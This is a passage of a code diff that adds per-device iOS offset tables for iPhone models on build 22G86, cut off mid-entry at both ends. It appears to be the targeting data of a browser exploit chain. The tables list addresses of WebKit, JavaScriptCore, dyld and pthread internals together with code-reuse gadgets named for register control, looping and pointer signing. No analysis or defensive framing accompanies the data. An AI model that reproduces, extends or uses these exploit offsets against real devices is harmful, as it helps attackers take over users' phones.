m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e2140n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25791fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d03e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271b54000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876ee8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883cb8n, + WebCore__initPKContact_value : 0x1ed883cc0n, + WebCore__PAL_getPKContactClass : 0x1ed87b178n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed882490n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed882488n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed882470n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed8780c0n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone14,8_22G86": { + __pthread_head : 0x269494020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f65a8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f6090n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5ff0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f6040n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f5438n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed7042c8n, + free_slabs : 0x1ed7bda50n, + gadget_control_1_ios184 : 0x23ed292ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f02d150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfe9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6c70n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6920n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6928n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6930n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d6870n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6938n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218879820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cacb8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc15870n, + libsystem_c__atexit_mutex : 0x1ed6e2ed8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d038000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e2140n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25791fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d03e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271b54000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876ee8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883cb8n, + WebCore__initPKContact_value : 0x1ed883cc0n, + WebCore__PAL_getPKContactClass : 0x1ed87b178n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed882490n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed882488n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed882470n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed8780c0n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone15,2_22G86": { + __pthread_head : 0x26a214020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa6e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1776560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa1d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa130n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa180n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9578n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99b70n, + DesktopServicesPriv_bss : 0x1ecacd5a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2693fb0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708408n, + free_slabs : 0x1ed7c1b90n, + gadget_control_1_ios184 : 0x23ed712ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f035150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cff1ce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6a16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dadb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7daa60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7daa68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7daa70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da9b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7daa78n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x218881820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb138b4n, + libGPUCompilerImplLazy_cstring : 0x23bc5d870n, + libsystem_c__atexit_mutex : 0x1ed6e7018n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d040000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6280n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x257adee60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d046988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272904000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b028n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a630n, + WebCore__initPKContact_once : 0x1ed887df8n, + WebCore__initPKContact_value : 0x1ed887e00n, + WebCore__PAL_getPKContactClass : 0x1ed87f2b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8865d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8865c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8865b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed87c200n, + WebCore__HTMLDocument_vtable : 0x1f10dda68n, + }, + "iPhone15,3_22G86": { + __pthread_head : 0x26a214020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa6e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1776560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa1d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa130n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa180n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9578n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99b70n, + DesktopServicesPriv_bss : 0x1ecacd5a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2693fb0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708408n, + free_slabs : 0x1ed7c1b90n, + gadget_control_1_ios184 : 0x23ed712ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f035150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cff1ce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6a16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dadb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7daa60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7daa68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7daa70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da9b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7daa78n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x218881820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb138b4n, + libGPUCompilerImplLazy_cstring : 0x23bc5d870n, + libsystem_c__atexit_mutex : 0x1ed6e7018n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d040000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6280n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x257adee60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d046988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272904000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b028n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a630n, + WebCore__initPKContact_once : 0x1ed887df8n, + WebCore__initPKContact_value : 0x1ed887e00n, + WebCore__PAL_getPKContactClass : 0x1ed87f2b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8865d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8865c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8865b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed87c200n, + WebCore__HTMLDocument_vtable : 0x1f10dda68n, + }, + "iPhone15,4_22G86": { + __pthread_head : 0x26983c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f68e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f63d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f6330n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f6380n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f5778n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed704608n, + free_slabs : 0x1ed7bdd90n, + gadget_control_1_ios184 : 0x23ed6d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f031150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6fb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6c60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6c68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6c70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d6bb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6c78n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cb0f8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc59870n, + libsystem_c__atexit_mutex : 0x1ed6e3218n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e2480n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25797be60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271f24000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed877228n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883ff8n, + WebCore__initPKContact_value : 0x1ed884000n, + WebCore__PAL_getPKContactClass : 0x1ed87b4b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8827d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8827c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8827b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed878400n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone15,5_22G86": { + __pthread_head : 0x26983c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f68e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f63d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f6330n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f6380n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f5778n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed704608n, + free_slabs : 0x1ed7bdd90n, + gadget_control_1_ios184 : 0x23ed6d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f031150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6fb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 